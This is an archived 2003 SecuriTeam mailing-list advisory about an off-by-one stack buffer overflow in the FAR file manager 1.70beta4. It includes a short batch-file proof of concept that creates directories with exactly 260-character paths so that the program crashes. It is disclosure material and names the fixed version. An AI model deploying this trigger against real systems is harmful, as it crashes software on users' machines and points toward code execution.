[NT] FAR Utility Buffer Overflow

From: support@securiteam.com
Date: 02/15/03

  • Next message: support@securiteam.com: "[NT] Windows NT 4.0/2000 cmd.exe Long Path Buffer Overflow/DoS" 
    From: support@securiteam.com
To: list@securiteam.com
Date: 15 Feb 2003 21:43:52 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    Beyond Security would like to welcome Tiscali World Online
    to our service provider team.
    For more info on their service offering IP-Secure,
    please visit http://www.worldonline.co.za/services/work_ip.asp
    - - - - - - - - -

      FAR Utility Buffer Overflow
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.rarlab.com/far_manager.htm> FAR is a text mode (console)
    shell for Windows 9x/NT/2000/XP, which is developed to facilitate a large
    number of operations with files, folders and archives under Windows
    operating system. A buffer overflow vulnerability has been found in the
    product allowing the execution of arbitrary code.

    DETAILS

    Vulnerable systems:
     * FAR version 1.70beta4

    Immune systems:
     * FAR version 1.70beta5

    NTFS file system allows creating paths of almost unlimited length.
    However, Windows API does not allow path longer than 256 bytes. To prevent
    Windows API from checking requested path \\?\ prefix may be used to
    filename. This is documented feature of Windows API. Paths longer than 260
    characters will cause FAR to crash. Far 1.70beta4 implements the check of
    path length and does not allow using paths longer than 160 characters.
    However, due to bug in coding it is still possible to exploit FAR by using
    path of exactly 260 characters (off-by-one stack pointer overflow).

    Exploit:
    This .bat file demonstrates vulnerability (it creates a directory with two
    subdirectories, first one will cause Far 1.70beta1 to crash, and second
    one will cause Far 1.70beta4 to crash.

    @echo off
    SET A=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    A
    SET B=BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
    mkdir \\?\c:\%A%
    mkdir \\?\c:\%A%\%A%
    mkdir \\?\c:\%A%\%B%\

    Vendor response:
    Will be patched in 1.70beta5.

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:3APA3A@SECURITY.NNOV.RU>
    3APA3A.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

    Relevant Pages

    • Re: Text field and file path
      ... Windows API, the maximum length for a path is MAX_PATH, which is defined as ... To store longer than 255 characters in Access, ... Doug Steele, Microsoft Access MVP ... have save file path in Access's ...
      (microsoft.public.access.gettingstarted)
    • Re: Application crashes in a call to PageSetupDlg
      ... I could figure out that the crash was happening because the VB ... Thorsten Albers wrote: ... the Windows API or not. ... I doubt that the problem is being caused in the PaintHook method. ...
      (microsoft.public.vb.winapi)
    • Re: Unable to delete file with extremly long name
      ... In the Windows API, the maximum length for a path is MAX_PATH, which is ... approximately 32,000 characters composed of components up to 255 characters ... Why not just clean out the Temporary Internet Files folder? ...
      (microsoft.public.windowsxp.help_and_support)
    • Re: Unicode question
      ... UTF-16, in the Windows API? ... originally MS chose UCS-2 because of the understandably nice feature that you could rely on each char being exactly 2 bytes -- but that MS has since moved to UTF-16 for both the Windows API and for all of .Net. ... I personally find the "some characters are 2 and some are 4 bytes" to be yucky, but if one uses wrapper routines that Delphi has always been so kind to supply in good measure, then it should be transparent to a developer. ... UTF-32 is nice and clean, ...
      (borland.public.delphi.non-technical)
    • Re: File path max size
      ... > In the Windows API the maximum length for a path LOOKS LIKE IT INCLUDES ... > which restricts the path on a drive to 256 characters NOW IT LOOKS LIKE IT ... > versions of several functions permit a maximum path length of 32,767 ... > Windows API from checking a path and use the Unicode versions instead. ...
      (microsoft.public.vb.general.discussion)